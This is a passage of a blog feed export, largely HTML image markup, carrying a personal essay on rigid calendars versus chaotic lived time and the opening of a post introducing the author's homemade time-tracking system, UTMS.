lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>On the left</strong>, under the rule of Mr. Broken Clock, time is sharp and rectangular.</p><p>Your day is a sequence of scheduled blocks:<br>Wake at 07:00.<br>Work from 09:00 to 17:00.<br>Dinner at 19:00.<br>Sleep at 23:00.</p><p>Everything fits &#8212; at least in theory.<br>No overlaps. No ambiguity. No surprises.</p><p>It&#8217;s neat. It&#8217;s reliable.<br>It&#8217;s also completely disconnected from how your life actually unfolds.</p><div><hr></div><p><strong>On the right</strong>, in the realm of Ms. Time Blob, time is spaghetti.</p><p>There are no clean blocks.<br>Tasks bleed into each other.<br>Things start before others end.<br>You follow a hunch, get interrupted, double back, wander off.</p><p>A conversation turns into a project, which gets hijacked by a memory, which sends you to Google, which leads to a new idea, which replaces your original plan &#8212; and somehow you still haven&#8217;t showered.</p><p>Her time isn&#8217;t broken.<br>It&#8217;s just nonlinear, recursive, unpredictable.</p><p>It makes sense <em>after</em> it happens &#8212; but never <em>before</em>.</p><div><hr></div><p>And <strong>in the middle</strong>, there&#8217;s <em>you</em>.</p><p>You try to follow the calendar, but it pinches.<br>You try to embrace the chaos, but you get lost.</p><p>You're constantly shifting &#8212;<br>between obedience to the Clock<br>and surrender to the Blob.</p><div><hr></div><p>Some days, Mr. Broken Clock wins.</p><p>You squeeze yourself into your calendar and call it discipline &#8212; even if you&#8217;re miserable.</p><p>Other days, the Blob takes over.</p><p>You go full improvisation and feel free &#8212; until you realize it&#8217;s 3 AM and you forgot to eat.</p><div><hr></div><p>The truth is, neither of them is fully wrong.</p><p>Mr. BC gives structure.<br>Ms. TB gives flow.</p><p>But our modern lives were built almost entirely in Mr. BC&#8217;s image.</p><p>We pretend the Blob doesn&#8217;t exist &#8212; and suffer for it.</p><div><hr></div><p>The problem isn&#8217;t that we fall short of the schedule.<br>It&#8217;s that <strong>the schedule never fit us in the first place</strong>.</p><p>And yet, the alternative &#8212; just giving in to the spaghetti &#8212; doesn&#8217;t work either.<br>Because we still live in a world that runs on clocks, appointments, deadlines.</p><p>So what do we do?</p><p>We dance between them.</p><p>We fake structure while surfing chaos.<br>We bend time blocks into circles and hope no one notices.<br>We lie to our planners and forgive ourselves in the margins.</p><p>We&#8217;re trying to navigate a fractured reality using tools designed for a linear fantasy.</p><h1>When Poop Breaks the System</h1><p>You&#8217;ve decided to take control of your life.<br>No more chaos. No more wasted time.<br>You&#8217;ve planned it all &#8212; <strong>to the minute</strong>.</p><p>&#128467;&#65039; 18:00: Finish work.<br>&#129489;&#8205;&#127859; 19:30: Cooking dinner.<br>&#129496; 20:00: Yoga.<br>&#128719;&#65039; 23:00: Sleep, no compromises.</p><p>To help you stay on track, you even set a notification:</p><blockquote><p>&#8220;&#127869;&#65039; 19:30 &#8212; Time to make dinner!&#8221;</p></blockquote><p>At <strong>19:29</strong>, disaster strikes.</p><p>You're in the bathroom.<br>Not for a quick pee.<br>For a <strong>full-system meltdown</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MzdW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MzdW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!MzdW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!MzdW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!MzdW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MzdW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png" width="1404" height="1872" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:132091,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166549098?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MzdW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!MzdW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!MzdW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!MzdW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4724761b-c914-4ba4-9383-de570b54f7fc_1404x1872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Not again&#8230;</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tNWy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tNWy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 424w, https://substackcdn.com/image/fetch/$s_!tNWy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 848w, https://substackcdn.com/image/fetch/$s_!tNWy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 1272w, https://substackcdn.com/image/fetch/$s_!tNWy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tNWy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png" width="1404" height="1984" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1984,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:368828,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166549098?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tNWy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 424w, https://substackcdn.com/image/fetch/$s_!tNWy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 848w, https://substackcdn.com/image/fetch/$s_!tNWy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 1272w, https://substackcdn.com/image/fetch/$s_!tNWy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40408ccf-d3f5-4117-815d-fe9fe8718de4_1404x1984.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">It&#8217;s dinner o&#8217;clock!</figcaption></figure></div><p>This wasn&#8217;t on your schedule.<br>Your schedule is now <strong>on fire</strong>.</p><p>You won&#8217;t start dinner at 19:30.<br>Which means you won&#8217;t eat by 19:55.<br>Which means yoga at 20:00? Forget it.<br>And now sleep? Who knows. The whole thing is <strong>ruined</strong>.</p><p>Because <strong>you forgot to schedule the diarrhea</strong>.</p><p>That&#8217;s the problem.</p><p>We try to schedule life like it&#8217;s a series of precisely aligned dominoes.<br>But life doesn&#8217;t fall like dominoes.</p><p>Life explodes.<br>It interrupts.<br>It surprises.</p><p>And <strong>Ms. Time Blob knows this</strong>.</p><p>She doesn&#8217;t beep.<br>She doesn&#8217;t remind.<br>She doesn&#8217;t panic.</p><p>She just <em>is</em> &#8212; gently adapting, making room for reality, not resisting it.</p><div><hr></div><p>You <em>can&#8217;t</em> schedule your digestive disasters.<br>You <em>can&#8217;t</em> forecast emotional slumps.<br>You <em>can&#8217;t</em> always obey the clipboard.</p><p>And maybe that&#8217;s not a flaw.<br>Maybe that&#8217;s&#8230; the point.</p><p>The poop doesn&#8217;t break the system. It reveals the system was already broken.</p><p>Mr. Broken Clock&#8217;s world is rigid, predictable, and brittle. Ms. Time Blob&#8217;s world is fluid, creative, and chaotic. We're told to live in one, but our bodies and souls belong to the other. We are living a contradiction.</p><p>You can&#8217;t schedule when a seed will sprout. You can&#8217;t command a flower to bloom by 9:00 AM. You can prepare the soil, you can provide water and sun, but you must surrender to a rhythm that is not your own. You must work <em>with</em> it.</p><p>This is the central conflict of modern life. We are given tools for the grid, but we live in the spaghetti.</p><p>So the question isn't, "How can I be more disciplined?"</p><p>The real question is:</p><p><strong>How do we build a bridge between the Clock and the Blob?</strong></p><p>How can we honor the structure we need to function in the world, while making space for the beautiful, unpredictable chaos of being human?</p><p>I've spent the last year obsessed with this question. I went looking for an answer.</p><p>In the next chapters, I&#8217;ll show you what I found.</p>]]></content:encoded></item><item><title><![CDATA[Chapter 0: Time is broken. UTMS is my fix.]]></title><description><![CDATA[I built a system to track time the way I actually live it &#8212; not the way productivity apps think I do. UTMS is not a to-do list, it's a time engine.]]></description><link>https://blog.neagaru.com/p/time-is-broken-utms-is-my-fix</link><guid isPermaLink="false">https://blog.neagaru.com/p/time-is-broken-utms-is-my-fix</guid><dc:creator><![CDATA[Daniel Neagaru]]></dc:creator><pubDate>Sat, 21 Jun 2025 00:49:14 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!gBop!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gBop!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gBop!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 424w, https://substackcdn.com/image/fetch/$s_!gBop!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 848w, https://substackcdn.com/image/fetch/$s_!gBop!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!gBop!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gBop!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png" width="2048" height="1536" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1536,&quot;width&quot;:2048,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:9345619,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166438051?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98380ba6-13cf-4d1f-be6d-1872cf4980ef_2048x1536.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gBop!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 424w, https://substackcdn.com/image/fetch/$s_!gBop!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 848w, https://substackcdn.com/image/fetch/$s_!gBop!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!gBop!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3110dc05-2509-48d6-bfc2-28daa46fec29_2048x1536.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>THIS IS NOT A BOMB! It&#8217;s worse. It&#8217;s a time engine. Part of my UTMS setup &#8212; not just measuring time, but modeling attention, presence, and environment.</em></figcaption></figure></div><p>Look closely at this mess of wires, blinking lights, and a tiny screen. At first glance, it looks like a random gadget &#8212; some quirky hobby project or retro tech experiment. But this oddball device is at the heart of a problem that affects every human on the planet:</p><p><strong>Our experience of time is broken.</strong></p><p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tG8M!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tG8M!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!tG8M!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!tG8M!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!tG8M!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tG8M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png" width="304" height="405.3333333333333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:304,&quot;bytes&quot;:54289,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166438051?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tG8M!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!tG8M!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!tG8M!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!tG8M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b6fa717-e14a-42be-84a8-be02b9979b25_1404x1872.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">This is me</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KCk_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KCk_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!KCk_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!KCk_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!KCk_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KCk_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3c77fd0-7ee9-4187-856a-5bc4ccbb5b5a_1404x1872.png" width="298" height="397.3333333333333" 